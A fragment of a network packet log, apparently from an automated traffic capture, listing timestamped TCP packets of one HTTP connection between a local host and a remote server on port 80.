Sep 25, 2024 03:51:27.486167908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486202002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486224890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486253023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486287117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486299992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486324072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486356020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486380100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486394882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486428022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486434937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486474037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486505985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486521006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486537933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486572027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486579895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486658096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486726046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486769915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486804008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486835003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486850023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486866951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486898899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486912966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486932039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486963034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486970901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486995935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487046003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.487154007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487185955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487216949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487236023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.487268925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487303019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487318993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.487335920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487369061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487380981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.487432003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487483978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.487637043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487700939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487734079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487746000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.487787008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487818956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487838030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.487855911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487890959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.487901926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488023996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488055944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488085985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488089085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488121986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488138914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488156080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488190889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488208055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488377094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488408089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488424063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488439083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488471031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488492012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488504887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488537073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488559008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488569975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488601923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488620043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488634109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488667965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488679886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488864899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488898039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488923073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488930941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488962889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.488979101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.488996983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489028931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489042044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489059925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489092112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489104033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489124060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489156008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489167929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489188910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489229918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489437103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489469051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489500999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489516020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489531994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489566088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489577055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489598036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489629984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489645958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489660978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489692926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489705086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489725113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489757061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489768982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.489789009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489820957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.489836931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490005016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490036964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490063906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490068913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490101099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490117073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490137100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490169048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490180969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490200043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490231037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490236044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490263939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490297079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490308046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490329027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490360022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490369081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490391016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490441084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490483999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490514994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490547895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490566015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.490575075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.490618944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.545805931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.545840025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.545890093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.545922995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.545996904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.546031952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.546065092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.546102047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.546114922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.546134949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.546149015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.546224117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.598294973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598328114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598376989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598388910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.598411083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598443031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598453999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.598478079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598539114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.598587990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598659039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598710060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.598830938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598931074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598963976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.598974943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599014044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599046946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599061012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599080086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599111080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599119902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599143028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599181890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599349976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599668980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599716902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599720955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599752903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599785089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599796057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599817038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599848986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599858046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599896908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599929094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599941969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.599961042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599992037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.599999905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600023985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600055933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600070953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600105047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600136042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600150108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600167036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600198984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600208998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600234032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600267887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600282907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600301027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600332022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600341082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600384951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600447893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600507021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600538969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600570917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600581884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600603104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600646973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600651979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600684881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600728035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600734949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600765944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600800037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600804090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600831032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600862980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600871086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600894928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600927114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600939035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.600959063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.600991011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601001024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601022959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601057053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601068020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601174116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601206064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601218939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601238966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601272106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601284981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601305008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601336956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601347923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601368904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601401091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601409912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601433992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601466894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601473093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601689100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601721048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601733923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601752043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601783991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601794004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601815939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601847887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601861954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601880074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601911068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601919889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.601943970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601974964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.601983070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602006912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602039099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602050066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602205992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602237940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602252007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602268934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602302074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602327108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602334976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602368116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602380037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602401018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602432966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602446079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602464914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602499962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602509975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602781057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602812052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602826118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602843046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602874994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602886915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602907896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602937937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.602952003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.602971077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603002071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603015900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.603033066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603065014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603085041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.603097916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603128910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603138924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.603159904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603193045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603199959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.603224039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603255987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603271961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.603288889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603322029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603327036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.603354931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.603395939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.603405952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.636878967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.636918068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.636953115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.637023926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.637054920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.637088060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.637123108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.637135029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.637264013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.689420938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689490080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689524889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689546108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.689558029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689590931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689623117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.689624071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689671040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.689675093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689703941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689749002 CEST	49730	80	192.168.2.4	3.80.28.180
